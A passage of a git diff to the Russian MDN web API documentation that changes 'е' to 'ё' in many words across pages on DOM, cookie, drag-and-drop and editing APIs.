("CSSStyleSheet")}} список cssRules.</p> diff --git a/files/ru/web/api/cssstyledeclaration/index.html b/files/ru/web/api/cssstyledeclaration/index.html index 78e34cc76f..adee955447 100644 --- a/files/ru/web/api/cssstyledeclaration/index.html +++ b/files/ru/web/api/cssstyledeclaration/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/CSSStyleDeclaration <p>Интерфейс <strong><code>CSSStyleDeclaration</code></strong> представляет объект, являющийся блоком объявления CSS, и предоставляет информацию о стиле и различные связанные со стилем методы и свойства.</p> -<p>Объект <code>CSSStyleDeclaration</code> может быть представлен с помощью трех различных API:</p> +<p>Объект <code>CSSStyleDeclaration</code> может быть представлен с помощью трёх различных API:</p> <ul> <li>Через {{domxref ("HTMLElement.style")}}, который имеет дело с встроенными стилями одного элемента (например, <div style="...">).</li> @@ -47,9 +47,9 @@ translation_of: Web/API/CSSStyleDeclaration <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt> <dd>Удаляет свойство из блока объявления CSS.</dd> <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt> - <dd>Изменяет существующее свойство CSS или создает новое свойство CSS в блоке объявления.</dd> + <dd>Изменяет существующее свойство CSS или создаёт новое свойство CSS в блоке объявления.</dd> <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt> - <dd>Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращенных свойств.</a></dd> + <dd>Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращённых свойств.</a></dd> </dl> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/datatransfer/index.html b/files/ru/web/api/datatransfer/index.html index e5e07105d6..6c7fb043e9 100644 --- a/files/ru/web/api/datatransfer/index.html +++ b/files/ru/web/api/datatransfer/index.html @@ -103,9 +103,9 @@ translation_of: Web/API/DataTransfer <p>Возможные значения:</p> <ul> - <li><strong>copy</strong>: в новом расположении создается копия исходного элемента.</li> + <li><strong>copy</strong>: в новом расположении создаётся копия исходного элемента.</li> <li><strong>move</strong>: элемент перемещается в новое расположение.</li> - <li><strong>link</strong>: в новом расположении создается ссылка на исходный элемент.</li> + <li><strong>link</strong>: в новом расположении создаётся ссылка на исходный элемент.</li> <li><strong>none</strong>: элемент не может быть брошен.</li> </ul> @@ -119,7 +119,7 @@ translation_of: Web/API/DataTransfer <ul> <li><strong>copy</strong>: Копия ресурса может быть сделана в новом месте.</li> - <li><strong>move</strong>: Элемент может быть перемещен в новое место. </li> + <li><strong>move</strong>: Элемент может быть перемещён в новое место. </li> <li><strong>link</strong>: A link may be established to the source at the new location.</li> <li><strong>copyLink</strong>: A copy or link operation is permitted.</li> <li><strong>copyMove</strong>: A copy or move operation is permitted.</li> @@ -260,7 +260,7 @@ translation_of: Web/API/DataTransfer <h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3> -<p>Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создается из перетаскиваемого узла.</p> +<p>Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создаётся из перетаскиваемого узла.</p> <p>Если узел является HTML-элементом img, HTML-элементом canvas или XUL-элементом изображения, тогда используются данные изображения. В противном случае изображение должно быть видимым узлом, и из этого будет создано перетаскиваемое изображение. Если изображение равно null, любое пользовательское изображение перетаскиваемое очищается и вместо него используется значение по умолчанию.</p> diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html index c4ff0f1248..b0a464ecf6 100644 --- a/files/ru/web/api/document/activeelement/index.html +++ b/files/ru/web/api/document/activeelement/index.html @@ -83,7 +83,7 @@ ID активного элемента: <span id="output-element"></spa <h2 id="Примечания">Примечания</h2> -<p>Первоначально введенное как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p> +<p>Первоначально введённое как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p> <h2 id="Specification" name="Specification">Спецификации</h2> diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html index 302476d213..d010383f8e 100644 --- a/files/ru/web/api/document/alinkcolor/index.html +++ b/files/ru/web/api/document/alinkcolor/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/alinkColor --- <p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p> -<p>Возвращает или задает цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p> +<p>Возвращает или задаёт цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index 286bb779f8..94facee7e6 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Document/cookie <pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> -<p>В приведенном коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> +<p>В приведённом коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> <ul> <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: @@ -155,7 +155,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade console.log('The cookie "reader" exists (ES6)') }</code></pre> -<h3 id="Example_6_Проверить_что_cookie_имеет_определенное_значение">Example #6: Проверить, что cookie имеет определенное значение</h3> +<h3 id="Example_6_Проверить_что_cookie_имеет_определённое_значение">Example #6: Проверить, что cookie имеет определённое значение</h3> <pre class="notranslate"><code>//ES5 diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html index 97cbba7120..ff43048513 100644 --- a/files/ru/web/api/document/createattribute/index.html +++ b/files/ru/web/api/document/createattribute/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/createAttribute --- <div>{{ ApiRef("DOM") }}</div> -<p>Метод <code><strong>Document.createAttribute()</strong></code> создает новый атрибут узла и возвращает его. Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определенному элементу таким способом.</span></p> +<p>Метод <code><strong>Document.createAttribute()</strong></code> создаёт новый атрибут узла и возвращает его. Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определённому элементу таким способом.</span></p> <div class="note"> <p>Строка, заданная в параметре, преобразуется в нижний регистр.</p> diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html index adc966e765..f266afbed6 100644 --- a/files/ru/web/api/document/createdocumentfragment/index.html +++ b/files/ru/web/api/document/createdocumentfragment/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/createDocumentFragment --- <div>{{ApiRef("DOM")}}</div> -<p>Создает новый пустой {{domxref("DocumentFragment")}}.</p> +<p>Создаёт новый пустой {{domxref("DocumentFragment")}}.</p> <h2 id="Syntax">Syntax</h2> diff --git a/files/ru/web/api/document/createelement/index.html b/files/ru/web/api/document/createelement/index.html index 7d2aab5f7a..f56c92272f 100644 --- a/files/ru/web/api/document/createelement/index.html +++ b/files/ru/web/api/document/createelement/index.html @@ -11,9 +11,9 @@ original_slug: DOM/document.createElement <h3 id=".D0.9E.D0.B1.D1.89.D0.B0.D1.8F_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.9E.D0.B1.D1.89.D0.B0.D1.8F_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F">Общая информация</h3> -<p>В HTML-документах создает элемент c тем тегом, что указан в аргументе или <code>HTMLUnknownElement</code>, если имя тега не распознаётся.</p> +<p>В HTML-документах создаёт элемент c тем тегом, что указан в аргументе или <code>HTMLUnknownElement</code>, если имя тега не распознаётся.</p> -<p>В XUL-документах создает указанный в аргументе элемент XUL.</p> +<p>В XUL-документах создаёт указанный в аргументе элемент XUL.</p> <p>В остальных случаях создаёт элемент с нулевым <span id="result_box" lang="ru"><span class="hps"><em>NamespaceURI</em>.</span></span></p> @@ -24,7 +24,7 @@ original_slug: DOM/document.createElement <ul> <li><code>element</code> — созданный объект <a href="../Web/API/Element">элемента</a>.</li> - <li><code>tagName</code> — строка, указывающая элемент какого типа должен быть создан. <a href="ru/DOM/element.nodeName">nodeName</a> создается и инициализируется со значением <code>tagName</code>.</li> + <li><code>tagName</code> — строка, указывающая элемент какого типа должен быть создан. <a href="ru/DOM/element.nodeName">nodeName</a> создаётся и инициализируется со значением <code>tagName</code>.</li> <li> <p><code>options</code> — необязательный параметр, объект <code>ElementCreationOptions</code>, который может содержать только поле <code>is</code>, указывающее имя пользовательского элемента, созданного с помощью <code>customElements.define()</code> (см. <a href="/ru/docs/Web/Web_Components">Веб-компоненты</a>).</p> </li> @@ -32,7 +32,7 @@ original_slug: DOM/document.createElement <h3 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B">Пример</h3> -<p>Данный пример создает новый элемент <code><div></code> и вставляет его перед элементом с идентификатором <code>org_div1</code>:</p> +<p>Данный пример создаёт новый элемент <code><div></code> и вставляет его перед элементом с идентификатором <code>org_div1</code>:</p> <pre class="brush: js"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> @@ -51,7 +51,7 @@ original_slug: DOM/document.createElement function addElement() { - // Создаем новый элемент div + // Создаём новый элемент div // и добавляем в него немного контента var newDiv = document.createElement("div"); @@ -70,7 +70,7 @@ original_slug: DOM/document.createElement <p>Если существуют атрибуты со значениями по умолчанию, атрибуты узлов предоставляющие их создаются автоматически и применяются к элементу.</p> -<p>Для создания элементов с заданным пространством имен используйте метод <a href="ru/DOM/document.createElementNS">createElementNS</a>.</p> +<p>Для создания элементов с заданным пространством имён используйте метод <a href="ru/DOM/document.createElementNS">createElementNS</a>.</p> <p>Реализация <code>createElement </code>в Gecko не соответствует DOM спецификации для XUL и XHTML документов: <code>localName</code> и <code>namespaceURI</code> не устанавливаются в <code>null</code> в созданном документе. Смотрите {{ Bug(280692) }} для подробностей.</p> diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html index a076f8316f..7007e89080 100644 --- a/files/ru/web/api/document/createtextnode/index.html +++ b/files/ru/web/api/document/createtextnode/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/createTextNode --- <div>{{APIRef("DOM")}}</div> -<p>Создает новый текстовый узел.</p> +<p>Создаёт новый текстовый узел.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html index 7dee15e364..0ba1862ff7 100644 --- a/files/ru/web/api/document/document/index.html +++ b/files/ru/web/api/document/document/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Document/Document --- <p>{{APIRef}}{{Non-standard_header}}</p> -<p><strong><code>Document</code></strong> конструктор создает новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере и служит точкой входа в содержание страницы.</p> +<p><strong><code>Document</code></strong> конструктор создаёт новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере и служит точкой входа в содержание страницы.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html index 9400bb025f..0c52c9a3b7 100644 --- a/files/ru/web/api/document/execcommand/index.html +++ b/files/ru/web/api/document/execcommand/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Document/execCommand <div> <h2 id="Summary" name="Summary">Обзор</h2> -<p>Когда HTML документ переключен в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p> +<p>Когда HTML документ переключён в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -65,7 +65,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>createLink</dt> - <dd>Создает ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ссылку и без URI.)</dd> + <dd>Создаёт ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ссылку и без URI.)</dd> </dl> <dl> @@ -110,7 +110,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>formatBlock</dt> - <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE является исключением - он обернет любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы < >, как например: "<H1>".)</dd> + <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE является исключением - он обернёт любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы < >, как например: "<H1>".)</dd> </dl> <dl> @@ -123,7 +123,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>hiliteColor</dt> - <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включен для работы этой функции. (Не поддерживается в Internet Explorer)</dd> + <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включён для работы этой функции. (Не поддерживается в Internet Explorer)</dd> </dl> <dl> @@ -158,19 +158,19 @@ translation_of: Web/API/Document/execCommand <dl> <dt>insertOrderedList</dt> - <dd>Создает пронумерованный список из выбранного или на месте курсора.</dd> + <dd>Создаёт пронумерованный список из выбранного или на месте курсора.</dd> </dl> <dl> <dt>insertUnorderedList</dt> - <dd>Создает список из выбранного или на месте курсора.</dd> + <dd>Создаёт список из выбранного или на месте курсора.</dd> </dl> <dl> <dt>insertParagraph</dt> <dd>Вставляет параграф вокруг выделения или для текущей строки. (Internet Explorer вставляет параграф в месте курсора и удаляет выделенный текст)</dd> <dt>insertText</dt> - <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменен).</dd> + <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменён).</dd> </dl> <dl> @@ -205,7 +205,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>paste</dt> - <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включен в файле user.js</dd> + <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включён в файле user.js</dd> </dl> <dl> @@ -225,7 +225,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>strikeThrough</dt> - <dd>Переключает зачеркивание текста для выделения или на месте курсора.</dd> + <dd>Переключает зачёркивание текста для выделения или на месте курсора.</dd> </dl> <dl> @@ -255,7 +255,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>useCSS {{ Deprecated_inline() }}</dt> - <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевернутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd> + <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевёрнутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd> </dl> <dl> diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html index d44e341517..4adfa6b971 100644 --- a/files/ru/web/api/document/getelementsbyclassname/index.html +++ b/files/ru/web/api/document/getelementsbyclassname/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/getElementsByClassName --- <p id="Summary">{{APIRef("DOM")}}</p> -<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имен классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p> +<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имён классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -14,7 +14,7 @@ translation_of: Web/API/Document/getElementsByClassName <ul> <li><var>В "elements"</var> будет текущая {{ domxref("HTMLCollection") }} найденных элементов.</li> - <li><var>"names"</var> - строка, состоящая из списка имен искомых классов; имена классов разделяют пробелами.</li> + <li><var>"names"</var> - строка, состоящая из списка имён искомых классов; имена классов разделяют пробелами.</li> <li>getElementsByClassName может быть вызвана по отношению к любому элементу, не только для документа целиком. ("document"). Элемент, по отношению к которому осуществляется вызов, используется для целей поиска в качестве корневого элемента.</li> </ul> @@ -32,7 +32,7 @@ translation_of: Web/API/Document/getElementsByClassName <pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> -<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдет все элементы 'div' с классом 'test':</p> +<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдёт все элементы 'div' с классом 'test':</p> <pre class="brush: js">var testElements = document.getElementsByClassName('test'); var testDivs = Array.prototype.filter.call(testElements, function(testElement){ @@ -41,7 +41,7 @@ var testDivs = Array.prototype.filter.call(testElements, function(testElement){ <h2 id="Получение_элементов_класса_'test'">Получение элементов класса 'test'</h2> -<p>Ниже приведен пример наиболее употребительного способа использования данного метода.</p> +<p>Ниже приведён пример наиболее употребительного способа использования данного метода.</p> <pre><!doctype html> <html> diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html index 2829204e72..e737d72165 100644 --- a/files/ru/web/api/document/getelementsbytagname/index.html +++ b/files/ru/web/api/document/getelementsbytagname/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Document/getElementsByTagName <pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre> <ul> - <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учетом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li> + <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учётом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li> <li><code>name</code> строка представляющая собой имя элемента. Специальная строка "*" позволяет получить все элементы.</li> </ul> diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html index 8645de05b4..b10712eb87 100644 --- a/files/ru/web/api/document/head/index.html +++ b/files/ru/web/api/document/head/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/head --- <p>{{APIRef("DOM")}}</p> -<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code><head></code>, будет возвращен первый из них.</p> +<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code><head></code>, будет возвращён первый из них.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html index 4aa38a3763..95efbef96f 100644 --- a/files/ru/web/api/document/importnode/index.html +++ b/files/ru/web/api/document/importnode/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Document/importNode --- <div>{{APIRef("DOM")}}</div> -<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создает копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p> +<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создаёт копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p> -<p>Импортированный узел пока еще не включен в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например, {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p> +<p>Импортированный узел пока ещё не включён в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например, {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p> <p>В отличие от {{domxref("document.adoptNode()")}}, исходный узел не удаляется из исходного документа. Импортированный узел является клоном оригинала.</p> diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html index 0437405ed7..77f9977abf 100644 --- a/files/ru/web/api/document/index.html +++ b/files/ru/web/api/document/index.html @@ -60,7 +60,7 @@ translation_of: Web/API/Document <dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt> <dd>Возвращает кодировку, которая использовалась во время парсинга документа.</dd> <dt>{{domxref("Document.lastStyleSheetSet")}}</dt> - <dd>Возвращает имя последнего включенного набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путем установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd> + <dd>Возвращает имя последнего включённого набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путём установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd> <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt> <dd><code>true</code> если этот документ является синтетическим, например, отдельные изображения, видео, аудио файлы, или тому подобные.</dd> <dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt> diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html index cf6158c111..ac1a90647a 100644 --- a/files/ru/web/api/document/keypress_event/index.html +++ b/files/ru/web/api/document/keypress_event/index.html @@ -3,7 +3,7 @@ title: keypress slug: Web/API/Document/keypress_event translation_of: Web/API/Document/keypress_event --- -<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создает символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p> +<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создаёт символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p> <h2 id="Общая_информация">Общая информация</h2> diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html index 4ec3c94009..69972a97d7 100644 --- a/files/ru/web/api/document/queryselector/index.html +++ b/files/ru/web/api/document/queryselector/index.html @@ -57,7 +57,7 @@ translation_of: Web/API/Document/querySelector <h3 id="Экранирование_специальных_символов">Экранирование специальных символов</h3> -<p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать ее <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> +<p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать её <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> <pre class="brush: html notranslate"><div id="foo\bar"></div> <div id="foo:bar"></div> @@ -78,7 +78,7 @@ translation_of: Web/API/Document/querySelector <h3 id="Выбор_первого_элемента_с_совпадающим_классом">Выбор первого элемента с совпадающим классом</h3> -<p>В этом примере, нам вернется первый элемент в документе с классом "<code>myclass</code>":</p> +<p>В этом примере, нам вернётся первый элемент в документе с классом "<code>myclass</code>":</p> <pre class="brush: js notranslate">var el = document.querySelector(".myclass"); </pre> diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html index 52eb1850bb..6950772a90 100644 --- a/files/ru/web/api/document/readystate/index.html +++ b/files/ru/web/api/document/readystate/index.html @@ -24,9 +24,9 @@ translation_of: Web/API/Document/readyState <dl> <dt><code>loading</code></dt> - <dd>Страница все еще загружается.</dd> + <dd>Страница все ещё загружается.</dd> <dt><code>interactive</code></dt> - <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все еще загружаются.</dd> + <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все ещё загружаются.</dd> <dt><code>complete</code></dt> <dd>Страница и все дополнительные ресурсы уже загружены. Это состояние указывает, что событие {{event("load")}} уже вызвано.</dd> </dl> @@ -39,7 +39,7 @@ translation_of: Web/API/Document/readyState <pre class="brush: js notranslate"><span>switch (document.readyState) { case "loading": - // Страница все еще загружается + // Страница все ещё загружается break; case "interactive": // Страница уже загружена. Теперь мы можем получить доступ к DOM объектам. diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html index 2855d99c69..b60801adbf 100644 --- a/files/ru/web/api/document/referrer/index.html +++ b/files/ru/web/api/document/referrer/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/referrer --- <div>{{APIRef("DOM")}}</div> -<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершен переход на текущую.</p> +<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершён переход на текущую.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -18,7 +18,7 @@ translation_of: Web/API/Document/referrer <h3 id="Значение">Значение</h3> -<p>Вернет пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не дает вам доступ к DOM ссылающейся страницы.</p> +<p>Вернёт пустую строку, если пользователь попал на страницу напрямую 